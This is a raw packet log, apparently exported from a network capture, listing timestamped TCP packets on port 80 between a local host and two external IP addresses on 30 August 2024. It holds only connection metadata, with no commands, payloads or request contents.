Aug 30, 2024 03:17:08.061533928 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061595917 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061602116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061606884 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061613083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061618090 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061650038 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061702013 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061741114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061745882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061755896 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061762094 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061768055 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061774015 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061779022 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061784983 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061805010 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061813116 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061840057 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061849117 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061860085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061901093 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061929941 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061935902 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061947107 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061952114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061956882 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061963081 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.061996937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.061996937 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062108994 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062114000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062124968 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062129974 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062144041 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062150002 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062155962 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062161922 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062179089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062179089 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062218904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062218904 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062252998 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062266111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062271118 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062275887 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062282085 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062287092 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062330008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062330008 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062402964 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062408924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062421083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062427044 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062433004 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062438965 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062450886 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062469006 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062490940 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062494040 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062494993 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062557936 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062624931 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062630892 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062635899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062642097 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062647104 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062652111 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062664032 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062669039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062675953 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062690020 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062701941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062716961 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062764883 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062772036 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062782049 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062788010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062793016 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062814951 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062839031 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062864065 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062870026 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062880039 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062886000 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062891006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062903881 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.062928915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062928915 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062967062 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.062999010 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063004971 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063014984 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063019991 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063049078 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063055038 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063057899 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063060045 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063066006 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063071012 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063097000 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063123941 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063177109 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063182116 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063193083 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063196898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063201904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063240051 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063245058 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063246965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063246965 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063255072 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063296080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063296080 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063443899 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063532114 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063554049 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063570976 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063587904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063592911 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063597918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063602924 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063618898 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063637972 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063664913 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063677073 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063695908 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063702106 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063714027 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063719034 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063725948 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063769102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063769102 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063792944 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063798904 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063808918 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063833952 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063838959 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063843966 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063880920 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063882113 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.063946009 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063951969 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063963890 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063972950 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.063978910 CEST	80	49733	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.064003944 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.064022064 CEST	49733	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.071990967 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.071996927 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.072007895 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.072047949 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.072061062 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.072067022 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.072077990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.072107077 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.072546005 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.072607040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.073014021 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.073019028 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.073029041 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.073067904 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.073096037 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.073101044 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.073117971 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.073124886 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.073143959 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.073158026 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.073257923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.073309898 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.074098110 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.074104071 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.074115038 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.074151993 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.074187040 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.074193001 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.074204922 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.074209929 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.074220896 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.074234009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.074246883 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.075053930 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075059891 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075072050 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075110912 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.075151920 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075158119 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075169086 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075174093 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075177908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075203896 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.075217009 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.075383902 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075388908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075433969 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.075483084 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075495958 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075506926 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075532913 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.075550079 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075552940 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.075556993 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075563908 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.075592995 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.077847004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077852964 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077864885 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077900887 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077903986 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.077907085 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077918053 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077924013 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077944040 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.077956915 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077960968 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.077963114 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.077974081 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078001976 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078039885 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078046083 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078057051 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078084946 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078104973 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078109980 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078126907 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078138113 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078149080 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078150034 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078155994 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078162909 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078171968 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078187943 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078222990 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078228951 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078233004 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078258038 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078267097 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078327894 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078331947 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078341961 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078355074 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078361034 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078372002 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078377962 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078378916 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078383923 CEST	80	49737	176.113.115.33	192.168.2.4
Aug 30, 2024 03:17:08.078387022 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078412056 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.078433990 CEST	49737	80	192.168.2.4	176.113.115.33
Aug 30, 2024 03:17:08.079252005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079257965 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079268932 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079297066 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079303026 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079307079 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079319000 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079324961 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079329967 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.079329967 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.079349041 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.079366922 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.079729080 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079790115 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.079843998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079848051 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079864979 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079876900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079888105 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079893112 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079899073 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.079899073 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.079920053 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.079935074 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080368042 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080424070 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080442905 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080485106 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080485106 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080562115 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080569029 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080579996 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080585003 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080590963 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080595970 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080621004 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080622911 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080627918 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080638885 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080643892 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080645084 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080667973 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080694914 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080701113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080705881 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080707073 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080710888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080717087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080728054 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080733061 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080758095 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080832005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080837011 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080854893 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080859900 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.080895901 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.080895901 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.083806038 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083811998 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083817005 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083861113 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083865881 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083870888 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083872080 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.083877087 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083906889 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.083906889 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.083972931 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083978891 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083990097 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.083993912 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084001064 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084005117 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084016085 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084022045 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084032059 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084055901 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084059954 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084064960 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084065914 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084079981 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084100008 CEST	80	49734	147.45.44.104	192.168.2.4
Aug 30, 2024 03:17:08.084103107 CEST	49734	80	192.168.2.4	147.45.44.104
Aug 30, 2024 03:17:08.084105968 CEST	80	49734	147.45.44.104	192.168.2.4
